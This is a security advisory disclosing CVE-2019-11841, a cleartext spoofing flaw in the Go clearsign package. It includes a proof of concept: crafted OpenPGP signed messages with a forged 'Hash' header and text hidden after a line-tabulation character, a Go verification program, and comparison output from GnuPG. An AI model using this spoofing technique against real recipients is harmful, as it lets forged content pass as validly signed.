SEC Consult Vulnerability Lab Security Advisory < 20190513-0 >
=======================================================================
title: Cleartext message spoofing
product: Supplementary Go Cryptography Libraries
vulnerable version: commit a5d413f7728c81fb97d96a2b722368945f651e78
branch master (https://github.com/golang/crypto.git)
fixed version: commit c05e17bb3b2dca130fc919668a96b4bec9eb9442
CVE number: CVE-2019-11841
impact: High
homepage: https://golang.org
found: 2019-03-28
by: Aida Mynzhasova (Office Berlin)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Package clearsign generates and processes OpenPGP, clear-signed data. See
RFC 4880, section 7.
Clearsigned messages are cryptographically signed, but the contents of the
message are kept in plaintext so that it can be read without special tools."
Source: https://godoc.org/golang.org/x/crypto/openpgp/clearsign
Business recommendation:
------------------------
During a short security test, SEC Consult found a severe security vulnerability
in the clearsign package of supplementary Go cryptography libraries.
This vulnerability could allow an attacker:
- to lead a victim to believe the signature was generated using a different
message digest algorithm than what was actually used;
- to spoof clearsign OpenPGP messages by prepending arbitrary
text to cleartext messages without invalidating the signatures.
Vulnerability overview/description:
-----------------------------------
1) Cleartext message spoofing
According to RFC 4880 chapter 7 the cleartext signed message can contain one
or more optional "Hash" Armor Headers. The "Hash" Armor Header specifies the
message digest algorithm(s) used for the signature. However, the package
"clearsign" in supplementary Go cryptography libraries ignores the value of this
header which allows an attacker to spoof it.
Thereby an attacker can lead a victim to believe the signature was generated using
a different message digest algorithm than what was actually used. Moreover, since
the library skips Armor Header parsing in general, an attacker can not only embed
arbitrary Armor Headers, but also prepend arbitrary text to cleartext messages
without invalidating the signatures.
Proof of concept:
-----------------
1) Cleartext message spoofing
The following cleartext message with a valid SHA-1 signature was generated using
GnuPG:
(content of no_spoof.asc file):
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Message to be signed
-----BEGIN PGP SIGNATURE-----
iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO
+u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq
9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N
0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV
l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+
7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7
v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg==
=Bb6N
-----END PGP SIGNATURE-----
Then the message was tampered by changing the value of the "Hash" Armor Header
from SHA-1 to SHA-512:
(content of hash_spoof.asc file):
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Message to be signed
-----BEGIN PGP SIGNATURE-----
iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO
+u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq
9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N
0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV
l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+
7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7
v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg==
=Bb6N
-----END PGP SIGNATURE-----
Finally, a string containing Unicode-encoded "LINE TABULATION" was embedded in
the Armor Header of the message:
(content of cleartext_spoof.asc file):
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512\u000bThis data is part of the header
Message to be signed
-----BEGIN PGP SIGNATURE-----
iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO
+u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq
9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N
0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV
l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+
7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7
v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg==
=Bb6N
-----END PGP SIGNATURE-----
When inserting the "LINE TABULATION" character, the header text after the attached
character looks as if it were part of a message when it is actually part of
the Armor Header. The signature verification performed by the library determined
all signatures to be valid (see contents of sig_spoof.go file below):
$ go run sig_spoof.go
Verifying not tampered...
Signature accepted!
Verifying spoofed hash...
Signature accepted!
Verifying spoofed cleartext...
Signature accepted!
In comparison, only the unmodified message passed the signature check performed by
GnuPG:
$ gpg no_spoof.asc
gpg: WARNING: no command supplied. Trying to guess what you mean ...
gpg: Signature made Fr 29 Mär 2019 13:00:03 CET
gpg:
using RSA key 0175949FAEB97005E02272D95D5B3AD9D04EFAEE
gpg: Good signature from "crypto <crypto@crypto.com>" [ultimate]
$ gpg hash_spoof.asc
gpg: WARNING: no command supplied. Trying to guess what you mean ...
gpg: Signature made Fr 29 Mär 2019 13:00:03 CET
gpg:
using RSA key 0175949FAEB97005E02272D95D5B3AD9D04EFAEE
gpg: WARNING: signature digest conflict in message
gpg: Can't check signature: General error
$ gpg cleartext_spoof.asc
gpg: WARNING: no command supplied. Trying to guess what you mean ...
gpg: invalid clearsig header
gpg: Signature made Fr 29 Mär 2019 13:00:03 CET
gpg:
using RSA key 0175949FAEB97005E02272D95D5B3AD9D04EFAEE
gpg: BAD signature from "crypto <crypto@crypto.com>" [ultimate]
(content of cleartext_spoof.asc file):
package main
import ("fmt"
"golang.org/x/crypto/openpgp/clearsign"
"golang.org/x/crypto/openpgp"
"bytes"
)
func verify(input []byte) {
var err error
b, _:= clearsign.Decode(input)
if b == nil {
fmt.Println("No clearsign text found")
return
}
keyring, err :=
openpgp.ReadArmoredKeyRing(bytes.NewBufferString(signingKey))
if err != nil {
fmt.Println(err)
return
}
if _, err := openpgp.CheckDetachedSignature(keyring,
bytes.NewBuffer(b.Bytes), b.ArmoredSignature.Body); err != nil {
fmt.Println(err)
return
}
fmt.Println("Signature accepted!\n")
}
func main() {
fmt.Println("Verifying not tampered...")
verify(no_spoof)
fmt.Println("Verifying spoofed hash...")
verify(hash_spoof)
fmt.Println("Verifying spoofed cleartext...")
verify(cleartext_spoof)
}
var no_spoof = []byte(`
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Message to be signed
-----BEGIN PGP SIGNATURE-----
iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO
+u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq
9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N
0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV
l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+
7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7
v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg==
=Bb6N
-----END PGP SIGNATURE-----
`)
var hash_spoof = []byte(`
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Message to be signed
-----BEGIN PGP SIGNATURE-----
iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO
+u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq
9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N
0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV
l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+
7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7
v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg==
=Bb6N
-----END PGP SIGNATURE-----
`)
var cleartext_spoof = []byte(`
-----BEGIN PGP SIGNED MESSAGE-----` +
"\nHash: SHA512\u000bThis data is part of the header\n" +
`
Message to be signed
-----BEGIN PGP SIGNATURE-----
iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO
+u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq
9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N
0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV
l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+
7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7
v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg==
=Bb6N
-----END PGP SIGNATURE-----
`)
var signingKey = `-----BEGIN PGP PUBLIC KEY BLOCK-----
mQENBFyeB6MBCAC+X0+7sQkrpg4zjQGj9NQSwPvDV5JjWxIXpf1n+mtrZewO8RvR
EO6OnMK/F6mjVKSE3rI9wnpeBoAnNvXgQHY9ckt3qgUq04LTgWoaj89LXi+QjazB
JJPa4cQtoraMtsT2mhIuG88VqPSlgSlvRBGD425kOh+jX7VPIeQIYLJ92G6nVgSV
aIh46n1kme/8PLd8BLFTNmCKr1axUZ118KX/d6y5uB1puPQJ6iZ+YYDk5K+xeQv8
RHyfIcVoGbVL+gR6iwukNxxmNdL6k0DfRwi/qESvOYJ483K1uo+08YvtgULSAKO4
BG/rxKynO4wtcMpe0YSPR+qG0rGF2bZ+trFxABEBAAG0GmNyeXB0byA8Y3J5cHRv
QGNyeXB0by5jb20+iQFUBBMBCAA+FiEEAXWUn665cAXgInLZXVs62dBO+u4FAlye
B6MCGwMFCQPCZwAFCwkIBwIGFQoJCAsCBBYCAwECHgECF4AACgkQXVs62dBO+u6B
rwgArfFSrBiPYQkB9WkaZRyJqJMuYiG9tqbcYYp1Wui9gLPf/IS+iO+6WQGzZ7qp
vdoG45YGajNsxDcd0M7j0VKtq5VYiwF7AWB6aRsJDsdNFmJVgzJYiPTyDfFnx8jr
k1k74TE9ZI2GWpYca0sMT6wCtq8YbmhVB3bty7Zu1L9ahAklhyLpoH4T01NPc2ey
0VhUVQdmKtC0Eqn4tKvWUv4Gx6tGIv4xhZFuDqtoUNbFxvaHZBeURkZJr+jR/mDM
iXE3hpamCzLueBlA8cNJfDKCb0EnK2SngPYBwCSx4MVBNpRPuQveMAtx/o39PCPw
GN9fXHV6mwWFpdoA4RMP59Mqr7kBDQRcngejAQgA7n3wBQewsZYow0DFvGwj+g3m
nCuHqSAEGi1m6zr64dPtDKpR6F4L5nSVoDueki+uQeqz8IwH89+rJIyJZHMHhYD8
MwxdkE+6D9FssY+9kxMZgt50FjXcAFUvlkuDBpJFM8fZRHYyejc4jDw02PC/ssdZ
s5kEcaH00LzecaE+3XM3kQWXMNGePZ0yzwgqNSc3+WjSHvtA71JBJsxYWOUrq0W5
aOz9B/Z4Zcq6KNfRUrI1DVoW6P6qQCGwSrm6zyKxwG/LKQBKJRMYiebQ923iCPDN
9rvOaRfWFn5NH7A2M7PEkky6EWZVZpZTqoDZUJUbgmS9pxcEnPqaWkCvGjHXnQAR
AQABiQE8BBgBCAAmFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeB6MCGwwFCQPC
ZwAACgkQXVs62dBO+u665QgAihptwWQFiHPphHxA+LCeRvznBm56/s4nvxyNVKGn
pR1PpN4BVjv0/Tc+4qKJRvAi1kVqmNNCjhpcU8eLQ6enIz7Z2n3VYYbbzG5akvlQ
m8dYWVJWb8FPbBIp9AEG59mFkIz+wXfYJonGWh8+kRDtWAqBLmgvpDsZLPCGQgu0
+HYqht3EiLq7Yv7lw0H2dAYEWzhA/2m1+E43rNBFDxTqflmstux5L02P2JF00COu
oYstzhVvOHJL9nPPdrtbmRHvfm4+QniCAqW9TRzXwOY6P0h2RBf3d9o4Np8Z5JjZ
Rtv1+9ofUzvnkaTr+FXFjvw+baNF1pHMTVcc1f0IoT1Ymg==
=4/3D
-----END PGP PUBLIC KEY BLOCK-----
`
Vulnerable / tested versions:
-----------------------------
SEC Consult found the vulnerability in branch master commit
a5d413f7728c81fb97d96a2b722368945f651e78
(origin https://github.com/golang/crypto.git).
This version was the latest version at the time of the discovery.
Vendor contact timeline:
------------------------
2019-04-10: Contacting vendor through security@golang.org
2019-04-11: Initial response: Issue will be investigated
2019-04-18: Requesting status update
2019-04-24: Vendor: the fix & announcement have been published
2019-05-06: Contacting vendor regarding incomplete fix; no answer
2019-05-09: Making a final decision to publish an advisory.
The decision is based on the following vendor statement:
"Anyway, it's entirely unclear what security purpose, if
any, the Hash header accomplishes. If the hash is too weak
to be secure or unsupported, the verification will fail.
Otherwise, the user shouldn't care. Given its dubious
function, avoid breaking abstractions to check that it
matches the signature, and just document it as unverified."
(commit log c05e17bb3b2dca130fc919668a96b4bec9eb9442)
2019-05-13: Release of security advisory
Solution:
---------
The vendor provides a patch & security notice which can be retrieved here:
https://groups.google.com/d/msg/golang-openpgp/6vdgZoTgbIY/K6bBY9z3DAAJ
Workaround:
-----------
Not available.
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF Aida Mynzhasova / @2019